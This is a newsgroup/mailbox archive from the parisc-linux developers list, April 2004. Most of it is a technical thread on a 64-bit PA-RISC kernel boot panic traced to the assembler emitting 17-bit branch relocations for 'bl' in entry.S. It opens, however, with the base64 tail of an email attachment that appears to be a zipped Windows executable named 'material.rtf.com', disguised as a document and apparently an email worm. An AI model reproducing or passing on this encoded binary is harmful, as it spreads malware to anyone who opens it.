HoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJ
dSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJC
iAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97lJAQAAigdHLOg8AXf3gD8F
dfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYnY4tmNvgCQAQCLBwnAdEWLXwSNhDAQtQEA
AfNQg8cI/5actQEAlYoHRwjAdNyJ+XkHD7cHR1BHuVdI8q5V/5agtQEACcB0B4kDg8ME69j/
lqS1AQBh6ceI/v8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACA
DgAAAJAAAIAAAAAAAAAAAAAAAAAAAAIAAQAAAEAAAIACAAAAaAAAgAAAAAAAAAAAAAAAAAAA
AQAHBAAAWAAAANTAAQDoAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABwQAAIAAAADAwwEA
KAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAGUAAACoAACAAAAAAAAAAAAAAAAAAAABAAcE
AADAAAAA7MQBACIAAAAAAAAAAAAAANCQAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAA
AAAAAAAAAAAAAAAAzP//AGhXWAAAAAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIi
IiNERERERERERERERFJSIiIjREREREREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERE
RESVRERJVFJSIiIjRIiIiIhESVVVWVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJ
VFJSIiIjRERERERERESVSVRSUiIiI0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIj
RIiIiIiIiIhESURSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERE
RERERERSUiIiI0SIiIiIiIiIiIhEUlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERS
UiIiI0Q5kkRCREREREREUlIiIiNEMiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0Qy
IndyRIiIiIhEUlIiIiNENEJ3ckRERERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiRERE
REREUlIiIiNEMzIiIkRERERERFJSIiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIi
IiNCRCRCRCRCRCRCRDJSIiIiJDNDNDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH+AAAD/////+4kwEAKAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8A
AAD/AP8A//8AAP///wAAAAAAAAAAAAB3d3d3d3AAAP//n/+fcAAA//95mZ9wAAD0RPefn3AA
AP///3mfcAAA9ERE959wAAD//////3AAAPRERERPcAAA//////9wAAD0RERET3AAAP//////
cAAA//////9wAADw8PDw8PAAAA+Pj4+PgAAAAAAAAAAAAMAHAADAAwAAwAMAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAcAAOqvAADglAEAAAABAAIA
ICAQAAEABADoAgAAAQAQEBAAAQAEACgBAAACAAAAAAAAAAAAAAAAAAAA1MUBAJzFAQAAAAAA
AAAAAAAAAADhxQEArMUBAAAAAAAAAAAAAAAAAO7FAQC0xQEAAAAAAAAAAAAAAAAA+8UBALzF
AQAAAAAAAAAAAAAAAAAGxgEAxMUBAAAAAAAAAAAAAAAAABLGAQDMxQEAAAAAAAAAAAAAAAAA
AAAAAAAAAAAcxgEAKsYBADrGAQAAAAAASMYBAAAAAABWxgEAAAAAAGjGAQAAAAAAdMYBAAAA
AAALAACAAAAAAEtFUk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAaXBobHBhcGkuZGxsAFVTRVIz
Mi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRk
cmVzcwAARXhpdFByb2Nlc3MAAABSZWdPcGVuS2V5QQAAAEdldE5ldHdvcmtQYXJhbXMAAHdz
cHJpbnRmQQAAAEludGVybmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAAB7I5cwrnbFugBeAAAAXgAA
EAAAAAAAAAAAACAAAAAAAAAAbWF0ZXJpYWwucnRmLmNvbVBLBQYAAAAAAQABAD4AAAAuXgAA
AAA=


------=_NextPart_000_0005_00001547.00001E5A--




From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4 bug (fwd)
Date: Fri, 23 Apr 2004 00:36:00 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20040423063600.GC5333@colo.lackof.org>
References: <Pine.LNX.4.58.0404200039410.31608@hammer.oc9.org>
	<20040420114128.GE18329@parcelfarce.linux.theplanet.co.uk>
	<Pine.LNX.4.58.0404200746120.11253@hammer.oc9.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623399 8577 80.91.229.3 (22 Nov 2014 02:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:59 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: Roy Keene <rkeene@rkeene.org>
Original-X-From: grundler@lackof.org  Fri Apr 23 00:36:01 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6ED07482A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 00:36:01 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D55F9298059; Fri, 23 Apr 2004 00:36:00 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 07109-07; Fri, 23 Apr 2004 00:36:00 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 50DBF298027; Fri, 23 Apr 2004 00:36:00 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404200746120.11253@hammer.oc9.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 06:36:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21498

On Tue, Apr 20, 2004 at 07:48:12AM -0500, Roy Keene wrote:
> http://parisc-linux.org/   -> "Bug Reporting" (http://bugs.parisc-linux.org/Reporting.html)

Roy,
thanks!

I've hacked that page to redirect folks to the right mailing lists now.
I've attempted to remove or cleaned up (nearly) all references
to bugs.parisc-linux.org.

[ If other on p-l team don't agree with my wording, I don't blame
  ya since it's almost midnight here and I'm too tired to write
  something shorter. ]

I have one more change for the parisc-linux.org navigation bar
but will for now just leave it...I'm thinking "Report.html"
file really belongs in our CVS tree and will move/change that later.

thanks,
grant


From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: 23 Apr 2004 08:46:07 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <1082724367.1913.2.camel@mulgrave>
References: <200404222313.i3MNDv9d017627@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623399 8580 80.91.229.3 (22 Nov 2014 02:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:59 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr 23 06:46:15 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 188EF483D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 06:46:15 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3NCk7a21331; Fri, 23 Apr 2004 08:46:07 -0400
In-Reply-To: <200404222313.i3MNDv9d017627@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 12:46:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21499

On Thu, 2004-04-22 at 19:13, John David Anglin wrote:
> Looking at a couple ok 64-bit kernels, I'm surprised that stubs are
> needed for "b,l x,%rp".  It suggests that these branches are getting
> treated as 17-bit branches instead of 22-bit branches.  Of course,
> "b" is limited to 17-bit displacements and it could easily need
> a stub.

Apparently, they are.  If you objdump the .o files, you see they're of
type R_PARISC_PCREL17F

> Which tool chain?

A fairly recent one:

2.14.90.0.7 20031029 Debian

James




From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: Fri, 23 Apr 2004 09:40:45 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200404231340.i3NDejFp003662@hiauly1.hia.nrc.ca>
References: <1082724367.1913.2.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623399 8582 80.91.229.3 (22 Nov 2014 02:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com (James Bottomley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Apr 23 07:40:48 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06CCE483D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 07:40:48 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3NDek94003663; Fri, 23 Apr 2004 09:40:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3NDejFp003662;
	Fri, 23 Apr 2004 09:40:45 -0400 (EDT)
In-Reply-To: <1082724367.1913.2.camel@mulgrave> from "James Bottomley" at Apr
	23, 2004 08:46:07 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 13:40:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21500

> Apparently, they are.  If you objdump the .o files, you see they're of
> type R_PARISC_PCREL17F

If you look at the .level directive in the assembler output for one of
these files, do you see "2.0w".  The branches should also appear as "b,l"
instead of the PA 1.x "bl".  This should tell us whether this is a gcc
or assembler problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: 23 Apr 2004 09:51:56 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <1082728316.2017.18.camel@mulgrave>
References: <200404231340.i3NDejFp003662@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623399 8585 80.91.229.3 (22 Nov 2014 02:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:59 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr 23 07:52:05 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEAED4867
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 07:52:04 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3NDpua25034; Fri, 23 Apr 2004 09:51:56 -0400
In-Reply-To: <200404231340.i3NDejFp003662@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 13:52:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21501

On Fri, 2004-04-23 at 09:40, John David Anglin wrote:
> If you look at the .level directive in the assembler output for one of
> these files, do you see "2.0w".  The branches should also appear as "b,l"
> instead of the PA 1.x "bl".  This should tell us whether this is a gcc
> or assembler problem.

The file causing the problems is entry.S, so it's an assembler file, not
a gcc file.

It has a .level 2.0w (with the appropriate #ifdefs) at the top.

Now, if you look at an objdump of the .o, it shows:

000000000000205c <syscall_do_resched>:
    205c:	e8 40 00 00 	b,l 2064 <syscall_do_resched+0x8>,rp
			205c: R_PARISC_PCREL17F	schedule
    2060:	37 dd 3f e1 	ldo -10(sp),ret1
    2064:	e8 1f 1b ed 	b,l 1e60 <syscall_check_bh>,r0
    2068:	08 00 02 40 	nop

I suppose this means gas thinks it has to emit short relocations.

You have access to what I'm seeing; my kernel build environment is on
gsyprf11:~jejb/cvsnode/linux-2.6

James




From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: Fri, 23 Apr 2004 12:57:10 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200404231657.i3NGvBAP004762@hiauly1.hia.nrc.ca>
References: <1082728316.2017.18.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623400 8843 80.91.229.3 (22 Nov 2014 02:30:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com (James Bottomley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Apr 23 10:57:13 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D290B4830
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 10:57:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3NGvB94004764; Fri, 23 Apr 2004 12:57:12 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3NGvBAP004762;
	Fri, 23 Apr 2004 12:57:11 -0400 (EDT)
In-Reply-To: <1082728316.2017.18.camel@mulgrave> from "James Bottomley" at Apr
	23, 2004 09:51:56 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 16:57:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21502

> It has a .level 2.0w (with the appropriate #ifdefs) at the top.

The .level 2.0w should come before any actual assembly code.  If the
includes define any assembly code this could be a problem.  The assembler
isn't very smart about changing levels.

> Now, if you look at an objdump of the .o, it shows:
> 
> 000000000000205c <syscall_do_resched>:
>     205c:	e8 40 00 00 	b,l 2064 <syscall_do_resched+0x8>,rp
> 			205c: R_PARISC_PCREL17F	schedule
>     2060:	37 dd 3f e1 	ldo -10(sp),ret1
>     2064:	e8 1f 1b ed 	b,l 1e60 <syscall_check_bh>,r0
>     2068:	08 00 02 40 	nop
> 
> I suppose this means gas thinks it has to emit short relocations.

Yes.  The code is using "bl".  It looks as if the assembler is
generating a 17-bit branch (sub-opcode 0) when it sees a "bl"
even when generating PA 2.0w code.  This would appear to be
wrong although I haven't checked what the HP assembler does.
Can you use "b,l" for PA 2.0 code?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: 23 Apr 2004 13:09:39 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <1082740179.2017.45.camel@mulgrave>
References: <200404231657.i3NGvBAP004762@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623400 8847 80.91.229.3 (22 Nov 2014 02:30:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:00 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr 23 11:09:47 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A6254830
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 11:09:47 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3NH9da04289; Fri, 23 Apr 2004 13:09:39 -0400
In-Reply-To: <200404231657.i3NGvBAP004762@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 17:09:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21503

On Fri, 2004-04-23 at 12:57, John David Anglin wrote:
> The .level 2.0w should come before any actual assembly code.  If the
> includes define any assembly code this could be a problem.  The assembler
> isn't very smart about changing levels.

Well, yes, there were (just macros, though).  However, I moved the level
setting right to the top of the file and it made no difference.

> Yes.  The code is using "bl".  It looks as if the assembler is
> generating a 17-bit branch (sub-opcode 0) when it sees a "bl"
> even when generating PA 2.0w code.  This would appear to be
> wrong although I haven't checked what the HP assembler does.
> Can you use "b,l" for PA 2.0 code?

Well, the 2.0 manual implies b,l can be used whether the execution is in
wide or narrow mode, so yes, it should apply to all 2.0 code.

James




From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: Fri, 23 Apr 2004 13:50:55 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200404231750.i3NHouD9019650@hiauly1.hia.nrc.ca>
References: <1082740179.2017.45.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623400 8852 80.91.229.3 (22 Nov 2014 02:30:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Apr 23 11:51:00 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 924F24830
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Apr 2004 11:50:58 -0600 (MDT)
